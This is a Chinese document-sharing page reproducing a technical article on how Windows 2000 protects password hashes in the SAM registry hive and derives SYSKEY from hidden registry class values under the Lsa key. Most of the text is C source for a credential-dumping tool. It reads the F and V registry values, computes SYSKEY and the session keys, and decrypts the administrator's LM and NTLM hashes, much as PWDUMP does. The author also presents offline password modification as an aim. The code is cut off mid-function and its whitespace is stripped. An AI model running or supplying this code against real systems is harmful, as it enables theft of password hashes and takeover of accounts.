SAM的散列存储加密解密算法以及SYSKEY的计算.docx
- 文档编号:4494222
- 上传时间:2022-12-01
- 格式:DOCX
- 页数:21
- 大小:20.57KB
SAM的散列存储加密解密算法以及SYSKEY的计算.docx
《SAM的散列存储加密解密算法以及SYSKEY的计算.docx》由会员分享,可在线阅读,更多相关《SAM的散列存储加密解密算法以及SYSKEY的计算.docx(21页珍藏版)》请在冰豆网上搜索。
SAM的散列存储加密解密算法以及SYSKEY的计算
SAM中存放在密码散列这是大家都知道的,但是其密码存放在对应相对SID的V键下面却是一种加密的形式,如何通过这个加密的串计算出密码散列了,大家用PWDUMP3这样的工具可以导出散列来,主要原理是系统空间会存在一个sampsecretsessionkey,PWDUMP3就是拷贝一个服务到对方机器上,读出这个lsass进程空间的sampsecretsessionkey再进行解密的,其实这个sampsecretsessionkey的生成也是非常复
杂的,我们这里做一个比PWDUMP3更深入的一个探讨和分析,sampsecretsessionkey的计算与生成,这样我们就能在直接从物理文件中计算出sampsecretsessionkey,来解密注册表中的密码散列,对于一个忘记密码的系统或一个不知道用户口令但已经获得磁盘的系统有这重要意义,这样我们完全就能通过注册表文件的分析来解密注册表中的密码散列。
通过分析,我们发现以前在NT中常说的SYSKEY在W2K系统的这个过程中起着非常重要的作用,其实SYSKEY已经做为W2K的一个固定组件而存在了,我们下面给出一个整个过程:
系统引导时:
计算获得SYSKEY
读取注册表中的SAM\SAM\Domains\Accoun\V中保存的KEY信息(一般是最后的0X38字节的前0X30字节)
使用SYSKEY和F键的前0X10字节,与特殊的字串"!
@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%","0123456789012345678901234567890123456789"做MD5运算,再与F键的后0X20字节做RC4运算就可以获得sampsecretsessionkey,这个
sampsecretsessionkey固定存放在LSASS进程中,作为解密SAM中加密数据到散列时用
-------------------------------------------------
|系统计算出的SYSKEY|
|F键信息的前0x10字节|MD5
|"!
@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%"|--->------
|"0123456789012345678901234567890123456789"||RC4
--------------------------------------------------|------>sampsecretsessionkey
|
F键信息的后0x20字节-------------------
当需要解密SAM中加密数据到散列时(如远程登陆):
读取sampsecretsessionkey,再与当前用户的相对SID,散列类型名(如LMPASSWORD,NTPASSWORD)做MD5运算获得针对这个用户密码散列的sessionkey
利用sessionkey用RC4解密第一道加密的散列,再将用户相对ID扩展成14字节做DES切分,生成DESECB,再对用RC4处理后的散列进行分开成2次DES解密就可以获得密码散列。
-------------------------
|sampsecretsessionkey|
|sid|MD5
|"LMPASSWOR"/"NTPASSWOR"|--->sessionkey---
|||RC42次DES(填充SID做KEY切分)
-------------------------|----->-------------------------->HASH
|
对应的SAM中加密的密码散列---------------------------------
这个算法相当好,保证了不同用户的相同散列在SAM存放不一样(相对SID不一样),不同机器的同一SID同口令的SAM中的散列存放不一样(SYSKEY不同);
这个算法的DES/RC4都是可逆的,这样如果我们能通过离线(文件)方式获得SYSKEY的话(其他的信息都可以分析SAM文件获得),我们完全实现离线修改SAM中口令的效果,不过这需要对注册表的结构和SAM中V/F键的数据结构再做深入的研究,这里就不谈了。
那么SYSKEY是如何计算出来的呢?
这可能是我发现MS最牛皮的一个地方了,先开始想一定会存放在注册表某处,呵呵,最后跟踪MS引导时候的WINLOGON进程才知道,SYSKEY是这样计算出来的,很多人会大掉眼镜吧:
SYSKEY的计算是:
SYSTEM\\CurrentControlSet\\Control\\Lsa下的
JD,Skew1,GBG,Data四个键值的CLASS值通过换位得来的,靠,佩服MS。
这样我们完全可以离线分析注册表就能获得对其SAM的加密散列的导出或改写了。
下面就是给出的完全实现计算SYSKEY-》sampsecretsessionkey,对特定用户的SAM中加密的密码散列再解密的代码:
当然如果从运行系统中解密散列也可以直接读取sampsecretsessionkey,就象PWDUMP3那样做的一样也是可以的,但是如果要实现离线的就还需要再分析更多的东西。
另外关于PWDUMP具体的方法,由于其是加密和反跟踪的,我没时间做仔细调式分析,但是从REGMON监视其注册表操作的过程来说,是没有去读LSA下的任何东西的,因此可以断定他是直接获得ampsecretsessionkey来进行对SAM内容的解密到散列的。
//下面几个函数的实现,DES相关的盒,ECB等的定义参考我以前发的文章中的代码,这里不再给出
//voiddeskey(char*LmPass,unsignedchar*desecb)
//voidrc4_key(unsignedchar*rc4keylist,unsignedchar*rc4key,intkeylen);
//voidmd5init(unsignedchar*LM);
//voidmd5final(unsignedchar*LM);
//voidinitLMP(char*pass,unsignedchar*LM);
//以前给出的des函数的实现没有解密的部分,并且有个小错误,因此这里再给出完整的一个
#include
#include
#include"des.h"
voidgetsyskey(unsignedchar*syskey);
voidgetsampsecretsessionkey(unsignedchar*syskey,unsignedchar*fkey);
voidmd5init(unsignedchar*LM);
voidmd5final(unsignedchar*LM);
voidrc4_key(unsignedchar*rc4keylist,unsignedchar*rc4key,intkeylen);
voidrc4_2bc6(unsignedchar*rc4keylist,intkeylen,unsignedchar*key);
voidgetsamkey(unsignedchar*sampsskey,unsignedchar*uid,unsignedchar*passwordtype,unsignedchar*sessionkey);
voidgetsamhash(unsignedchar*ensaminfo,unsignedchar*sessionkey,unsignedchar*uid);
voidinitLMP(char*pass,unsignedchar*LM);
voiddeskey(char*LmPass,unsignedchar*desecb);
voiddes(unsignedchar*LM,char*magic,unsignedchar*ecb,longno);
voidmain()
{
inti;
//下面为了简单,这3个是直接指定的用户,相对SID的注册表键名和相对SID,大家也可以写成完全根据用户名获取的方式
charusername[]="SAM\\SAM\\Domains\\Account\\Users\\Names\\administrator";
charkeyname[]="SAM\\SAM\\Domains\\Account\\Users\\000001F4";
unsignedlonguid=0x1F4;
unsignedcharsyskey[0x10];
unsignedcharensamnt[0x10];
unsignedcharensamlm[0x10];
unsignedcharsessionkey[0x10];
unsignedcharbuf[0x400];
unsignedcharsampsecretsessionkey[0x10];
unsignedcharlmhash[0x10];
unsignedcharnthash[0x10];
unsignedcharfkey[0x30];
unsignedlongss;
DWORDregtype;
DWORDregint;
unsignedcharpasswordtype[5][100]={"LMPASSWORD","NTPASSWORD","LMPASSWORDHISTORY","NTPASSWORDHISTORY","MISCCREDDATA"};
HKEYhkResult;
HKEYhkResult1;
//SAM中的键读取先要提升自己成为LOCASYSTEM权限,这里并没有实现,自己增加其中的代码
//读出F键中用于计算
regint=0x400;
ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SAM\\SAM\\Domains\\Account",0,KEY_READ,&hkResult);
if(ss!
=0)
printf("noPrivilege!
\n");
ss=RegQueryValueEx(hkResult,"F",NULL,®type,buf,®int);
for(i=regint-1;i>=0;i--)
if(buf[i]!
=0)
break;
memcpy(fkey,buf+i-0x2f,0x30);
ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,username,0,KEY_READ,&hkResult);
//检查此用户是否存在
if(ss!
=ERROR_SUCCESS)
return;
//读取该用户下的V键中加密的散列信息
//由于目前还未解析V中的结构,我们就直接读最后的那一串,一般都是如此存放在此
//但也不排除例外,那就需要具体分析V中的结构来计算了
regint=0x400;
ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,keyname,0,KEY_READ,&hkResult);
ss=RegQueryValueEx(hkResult,"V",NULL,®type,buf,®int);
memcpy(ensamnt,buf+regint-0x18,0x10);
memcpy(ensamlm,buf+regint-0x2c,0x10);
//计算SYSKEY,W2K系统默认SYSKEY使用,且成为其固定的一个组件
getsyskey(syskey);
//利用SYSKEY,F键中的KEY计算sampsecretsessionkey
getsampsecretsessionkey(syskey,fkey);
memcpy(sampsecretsessionkey,fkey+0x10,0x10);
//上面的就是系统引导时完成的工作,这个sampsecretsessionkey固定保存在LSASS的进程空间内
//当认证等或如PWDUMP3工作时候,就是先从系统中直接读sampsecretsessionkey再进行处理
//根据具体用户的相对SID,要恢复散列的散列类型,生成SESSIONKEY,如下面就是针对LM散列的
getsamkey(sampsecretsessionkey,&uid,passwordtype[0],sessionkey);
memcpy(lmhash,ensamlm,0x10);
//利用SESSIONKEY,SAM中加密的LM散列,相对SID做RC4/DES解密获得真正的散列
getsamhash(lmhash,sessionkey,&uid);
printf("HASH:
:
");
for(i=0;i<0x10;i++)
printf("%02x",lmhash[i]);
printf(":
");
//根据具体用户的相对SID,要恢复散列的散列类型,生成SESSIONKEY,如下面就是针对NTLM散列的
getsamkey(sampsecretsessionkey,&uid,passwordtype[1],sessionkey);
memcpy(nthash,ensamnt,0x10);
//利用SESSIONKEY,SAM中加密的NTLM散列,相对SID做RC4/DES解密获得真正的散列
getsamhash(nthash,sessionkey,&uid);
for(i=0;i<0x10;i++)
printf("%02x",nthash[i]);
printf("\n");
}
voidgetsamhash(unsignedchar*ensaminfo,unsignedchar*sessionkey,unsignedchar*uid)
{
//利用SESSIONKEY,SAM中加密的LM散列,相对SID做RC4/DES解密获得真正的散列
unsignedchardesecb[128];
unsignedcharrc4keylist[0x102];
unsignedcharLM[0x10];
unsignedcharp1[0xe];
unsignedcharp2[0x10];
memcpy(p1,uid,4);
memcpy(p1+4,uid,4);
memcpy(p1+8,uid,4);
memcpy(p1+0xc,uid,2);
//上面是用SID填充DESECB的KEY
rc4_key(rc4keylist,sessionkey,0x10);
rc4_2bc6(rc4keylist,0x10,ensaminfo);
//RC4处理一次再用DES解密
initLMP(p1,LM);
deskey(LM,desecb);
des(p2,ensaminfo,desecb,0);
initLMP(p1+7,LM);
deskey(LM,desecb);
des(p2+8,ensaminfo+8,desecb,0);
memcpy(ensaminfo,p2,0x10);
}
voidgetsamkey(unsignedchar*sampsskey,unsignedlong*uid,unsignedchar*passwordtype,unsignedchar*sessionkey)
{
//根据具体用户的相对SID,要恢复散列的散列类型,MD5生成SESSIONKEY
unsignedcharLM[0x58];
intlen,i;
md5init(LM);
for(i=0;i<20;i++)
if(passwordtype[i]==0)
break;
len=i+1;
memcpy(LM+0x18,sampsskey,0x10);
memcpy(LM+0x28,(unsignedchar*)uid,4);
memcpy(LM+0x2c,passwordtype,len);
memset(LM+0x2c+len,0x80,1);
memset(LM+0x2c+len+1,0x0,0x58-(0x2c+len+1));
*(DWORD*)LM=0x200;
*(DWORD*)(LM+0X50)=0xF8;
md5final(LM);
memcpy(sessionkey,LM+8,0x10);
}
voidgetsyskey(unsignedchar*syskey)
{
unsignedcharkeyselect[]={0x8,0xA,0x3,0x7,0x2,0x1,0x9,0xF,
0x0,0x5,0xd,0x4,0xb,0x6,0xc,0xe};
//换位表
unsignedcharsyskey1[0x10];
HKEYhkResult;
HKEYhkResult1;
inti,j;
longss;
unsignedcharclassinfo[0x10];
DWORDc1;
ss=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Control\\Lsa",0,KEY_READ,&hkResult);
if(ss!
=ERROR_SUCCESS)
return;
ss=RegOpenKeyEx(hkResult,"JD",0,KEY_READ,&hkResult1);
i=0;
memset(syskey1,0,0x10);
c1=0x10;
if(ss==ERROR_SUCCESS)
{
ss=RegQueryInfoKey(hkResult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);
RegCloseKey(hkResult1);
if(ss==ERROR_SUCCESS)
{
printf("%s\n",classinfo);
for(j=0;j<8;j++)
{
if(classinfo[j]>=0x30&&classinfo[j]<=0x39)
classinfo[j]=classinfo[j]-0x30;
elseif(classinfo[j]>='a'&&classinfo[j]<='f')
classinfo[j]=classinfo[j]-'a'+0xa;
elseif(classinfo[j]>='A'&&classinfo[j]<='F')
classinfo[j]=classinfo[j]-'A'+0xa;
else
return;
}
syskey1[i+0]=16*classinfo[0]+classinfo[1];
syskey1[i+1]=16*classinfo[2]+classinfo[3];
syskey1[i+2]=16*classinfo[4]+classinfo[5];
syskey1[i+3]=16*classinfo[6]+classinfo[7];
i=i+4;
}
}
c1=0x10;
ss=RegOpenKeyEx(hkResult,"Skew1",0,KEY_READ,&hkResult1);
if(ss==ERROR_SUCCESS)
{
ss=RegQueryInfoKey(hkResult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);
RegCloseKey(hkResult1);
if(ss==ERROR_SUCCESS)
{
printf("%s\n",classinfo);
for(j=0;j<8;j++)
{
if(classinfo[j]>=0x30&&classinfo[j]<=0x39)
classinfo[j]=classinfo[j]-0x30;
elseif(classinfo[j]>='a'&&classinfo[j]<='f')
classinfo[j]=classinfo[j]-'a'+0xa;
elseif(classinfo[j]>='A'&&classinfo[j]<='F')
classinfo[j]=classinfo[j]-'A'+0xa;
else
return;
}
syskey1[i+0]=16*classinfo[0]+classinfo[1];
syskey1[i+1]=16*classinfo[2]+classinfo[3];
syskey1[i+2]=16*classinfo[4]+classinfo[5];
syskey1[i+3]=16*classinfo[6]+classinfo[7];
i=i+4;
}
}
c1=0x10;
ss=RegOpenKeyEx(hkResult,"GBG",0,KEY_READ,&hkResult1);
if(ss==ERROR_SUCCESS)
{
ss=RegQueryInfoKey(hkResult1,classinfo,&c1,0,0,0,0,0,0,0,0,0);
RegCloseKey(hkResult1);
if(ss==ERROR_SUCCESS)
{
printf("%s\n",classinfo);
for(j=0;j<8;j++)
{
if(classinfo[j]>=0x30&&classinfo[j]<=0x39)
classinfo[j]=classinfo[j]-0x30;
elseif(classinfo[j]>='a'&&classinfo[j]<='f')
classinfo[j]=classinfo[j]-'a'+0xa;
elseif(classinfo[j]>='A'&&classinfo[j]<='F')
classinfo[j]=classinfo[j]-'A'+0xa;
else
return;
}
syskey1[i+0]=16*classinfo[0]+classinfo[1];
syskey1[i+1]=16*classinfo[2]+classinfo[3];
syskey1[i+2]=16*classinfo[4]+classinfo[5];
syskey1[i+3]=16*classinfo[6]+classinfo[7];
i=i+4;
}
}
c1=0x10;
ss=RegOpenKeyEx(hkResult,"Data",0,K
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- SAM 存储 加密 解密 算法 以及 SYSKEY 计算